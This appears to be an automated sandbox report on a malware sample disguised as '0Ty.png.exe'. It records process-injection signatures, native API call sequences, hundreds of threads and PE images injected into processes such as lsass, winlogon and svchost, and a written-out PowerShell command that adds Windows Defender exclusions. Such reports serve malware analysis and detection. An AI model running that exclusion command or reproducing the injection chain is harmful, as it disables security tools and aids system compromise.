Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 24.2.dialer.exe.1400050b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 28.2.powershell.exe.1bff12d0000.12.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 38.3.weiuemyrzjra.exe.1e74f1434b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 62.2.dialer.exe.1400050b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 66.2.powershell.exe.28ba5b5ec68.15.raw.unpack, RunPE.cs	.Net Code: Run contains injection code

.NET source code references suspicious native API functions

Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, Unhook.cs	Reference to suspicious API methods: VirtualProtect((IntPtr)((long)moduleHandle + num5), (IntPtr)num6, 64u, out var oldProtect)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: OpenProcess(128, inheritHandle: false, parentProcessId)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtAllocateVirtualMemory(process, ref address, IntPtr.Zero, ref size2, 12288u, 64u)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtWriteVirtualMemory(process, address, payload, num3, IntPtr.Zero)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtSetContextThread(thread, intPtr5)

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dllhost.exe

Code function: 68_2_0000000140002434 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

68_2_0000000140002434

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC612AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC612AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0AB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 612D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AEDD2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87992AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 53772AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D532AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 67D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5B392AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBFD2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 59042AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A9E72AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 73162AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E862AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 473C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6F9D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 83BC2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D3F72AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4152AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BDF32AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0262AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C9F32AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 644B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B2A2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4F62AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AB42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4ADB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1992AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25DA2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F5352AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F0D62AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FFB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C2572AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8BCE2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 66942AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13EF2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D572AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 69B42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CC742AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5DA72AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 199D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3892AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3B82AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 40E42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6532AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29D02AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B152AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 621A2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F482AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B4B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 683D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3402AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E262AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6C5E2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D5932AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC692AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78972AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 33B42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D0A2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB4C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A642AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6CF32AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 64522AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 49352AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 60DA2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5E7B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F7C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E8152AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 52342AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9DA92AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 602E2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D0F2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B7F42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 55FD2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C7042AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4202208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 48072AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 90502AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7F5C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 111D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2572208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D62208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2932208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D02208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2752208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F32208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28B2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 942208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2332208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BD2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26C2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2922208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2392208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2742208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B52208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2552208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F32208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D72208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2602208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2502208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2822208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2512208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2222208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D92208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13A2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 722208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D62208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AA2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E72208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E02208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 882208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A62208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CD2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 692208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2842208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E32208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C32208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 912208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23A2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2312208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29C2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A72208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1502208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2902208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2132208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E52208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2612208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13B2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2362208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29C2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 20C2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15B2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FE2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1482208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BC2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F52208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F72208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 902208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 972208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 722208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 672208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D72208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2972208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2302208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 842208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FD2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2092208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2202208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E02208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26C2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6442AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 89942AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CB472AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C9702AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C9732AC0

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29D00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 3400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64520000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2538D0F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 194B7F40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27555FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 2DFC7040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 4200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 29A023B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1A648070000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E990500000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1887F5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 219111D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2570000 value starts with: 4D5A
